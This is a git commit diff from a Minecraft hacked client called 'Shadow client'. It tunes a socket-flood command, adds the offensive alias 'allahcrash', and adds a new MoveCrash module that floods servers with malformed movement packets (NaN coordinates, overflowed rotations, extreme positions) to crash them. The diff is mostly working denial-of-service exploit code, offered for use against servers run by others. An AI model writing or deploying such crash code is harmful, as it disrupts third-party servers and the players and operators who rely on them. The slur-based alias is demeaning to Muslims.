asekirnser

This commit is contained in:
Saturn5Vfive 2022-05-07 12:51:35 -05:00
parent 256092b7b9
commit 25187ba2e1
5 changed files with 165 additions and 4 deletions

View file

@ -46,7 +46,7 @@ public class ServerCrash extends Command {
@Override @Override
public PossibleArgument getSuggestionsWithType(int index, String[] args) { public PossibleArgument getSuggestionsWithType(int index, String[] args) {
return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag", "pineapple"), new PossibleArgument(ArgumentType.NUMBER, "(power)")); return StaticArgumentServer.serveFromStatic(index, new PossibleArgument(ArgumentType.STRING, "rider", "book", "malformednbt", "move", "papertest", "chunkoob", "mvcrash", "stackoverflow", "playtime", "playtimeold", "maptool", "fawe", "lag"), new PossibleArgument(ArgumentType.NUMBER, "(power)"));
} }
@Override @Override

View file

@ -22,7 +22,7 @@ public class SocketFlood extends Command {
static final int[] PAYLOAD = new int[] { 0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7, 0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6, 0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8, 0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f, 0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65, 0x21, 0x0, 0x0, 0x48, 0x0, 0x2f }; static final int[] PAYLOAD = new int[] { 0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7, 0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6, 0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8, 0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f, 0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65, 0x21, 0x0, 0x0, 0x48, 0x0, 0x2f };
public SocketFlood() { public SocketFlood() {
super("SocketFlood", "Flood the servers console using sockets", "sflood", "socketflood"); super("SocketFlood", "Flood the servers console using sockets", "sflood", "socketflood", "allahcrash");
} }
@Override @Override
@ -44,10 +44,9 @@ public class SocketFlood extends Command {
sockets.add(s); sockets.add(s);
} catch (Exception ignored) { } catch (Exception ignored) {
message("server refused new socket"); message("server refused new socket");
Utils.sleep(500);
c++; c++;
} }
if (c > 10) { if (c > 1000) {
message("firing early since we got over 1000 closed sockets"); message("firing early since we got over 1000 closed sockets");
break; break;
} }

View file

@ -32,6 +32,7 @@ import net.shadow.client.feature.module.impl.crash.InteractCrash;
import net.shadow.client.feature.module.impl.crash.LecternCrash; import net.shadow.client.feature.module.impl.crash.LecternCrash;
import net.shadow.client.feature.module.impl.crash.LoominaCrash; import net.shadow.client.feature.module.impl.crash.LoominaCrash;
import net.shadow.client.feature.module.impl.crash.MinehutCrash; import net.shadow.client.feature.module.impl.crash.MinehutCrash;
import net.shadow.client.feature.module.impl.crash.MoveCrash;
import net.shadow.client.feature.module.impl.crash.OOBCrash; import net.shadow.client.feature.module.impl.crash.OOBCrash;
import net.shadow.client.feature.module.impl.crash.PacketCrash; import net.shadow.client.feature.module.impl.crash.PacketCrash;
import net.shadow.client.feature.module.impl.crash.PaintingCrash; import net.shadow.client.feature.module.impl.crash.PaintingCrash;
@ -68,6 +69,7 @@ import net.shadow.client.feature.module.impl.misc.DiscordRPC;
import net.shadow.client.feature.module.impl.misc.InfChatLength; import net.shadow.client.feature.module.impl.misc.InfChatLength;
import net.shadow.client.feature.module.impl.misc.ItemPuke; import net.shadow.client.feature.module.impl.misc.ItemPuke;
import net.shadow.client.feature.module.impl.misc.MoreChatHistory; import net.shadow.client.feature.module.impl.misc.MoreChatHistory;
import net.shadow.client.feature.module.impl.misc.NoPacketKick;
import net.shadow.client.feature.module.impl.misc.NoSRP; import net.shadow.client.feature.module.impl.misc.NoSRP;
import net.shadow.client.feature.module.impl.misc.NoTitles; import net.shadow.client.feature.module.impl.misc.NoTitles;
import net.shadow.client.feature.module.impl.misc.PortalGUI; import net.shadow.client.feature.module.impl.misc.PortalGUI;
@ -367,6 +369,8 @@ public class ModuleRegistry {
registerModule(NoSRP.class); registerModule(NoSRP.class);
registerModule(NoSwing.class); registerModule(NoSwing.class);
registerModule(RequestCrash.class); registerModule(RequestCrash.class);
registerModule(NoPacketKick.class);
registerModule(MoveCrash.class);
rebuildSharedModuleList(); rebuildSharedModuleList();

View file

@ -0,0 +1,111 @@
/*
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.minecraft.client.network.ClientPlayerEntity;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.world.World;
import java.util.Random;
public class MoveCrash extends Module {
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.GradMove).name("Mode").description("what to crash usin").get());
final DoubleSetting pwr = this.config.create(new DoubleSetting.Builder(500).min(1).max(1000).name("Power").description("Power to crash with").get());
public MoveCrash() {
super("MoveCrash", "Crash using move packets", ModuleType.CRASH);
}
@Override
public void tick() {
ClientPlayerEntity player = client.player;
switch(mode.getValue()){
case Static -> {
Random r = new Random();
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.OnGroundOnly(r.nextBoolean()));
}
}
case GradMove -> {
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + (i * 10000), player.getY(), player.getZ() + (i * 10000), true));
}
}
case Snap -> {
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(29999999, player.getY(), 29999999, true));
}
}
case Rotate -> {
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.LookAndOnGround(Float.MAX_VALUE + 1, Float.MIN_VALUE - 1, new Random().nextBoolean()));
}
}
case Verus -> {
if (client.player.age % 100 == 0) {
for (int i = 0; i < pwr.getValue(); i++) {
player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX(), player.getY() - 1.0, player.getZ(), false));
player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX(), Double.MAX_VALUE, player.getZ(), false));
}
}
}
case NaN -> {
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(Double.NaN, Double.NaN, Double.NaN, true));
}
}
case Tiny -> {
for (int i = 0; i < pwr.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + (i * 954), player.getY(), player.getZ() + (i * 954), true));
}
}
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return mode.getValue().name();
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
public enum Mode{
Static,
GradMove,
Snap,
Rotate,
Verus,
NaN,
Tiny,
}
}

View file

@ -0,0 +1,47 @@
/*
* Copyright (c) Shadow client, Saturn5VFive and contributors 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.misc;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
public class NoPacketKick extends Module {
final DoubleSetting max = this.config.create(new DoubleSetting.Builder(250).min(100).max(1000).get());
public NoPacketKick() {
super("NoPacketKick", "Dont get kick for packet thats sad", ModuleType.MISC);
}
@Override
public void tick() {
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}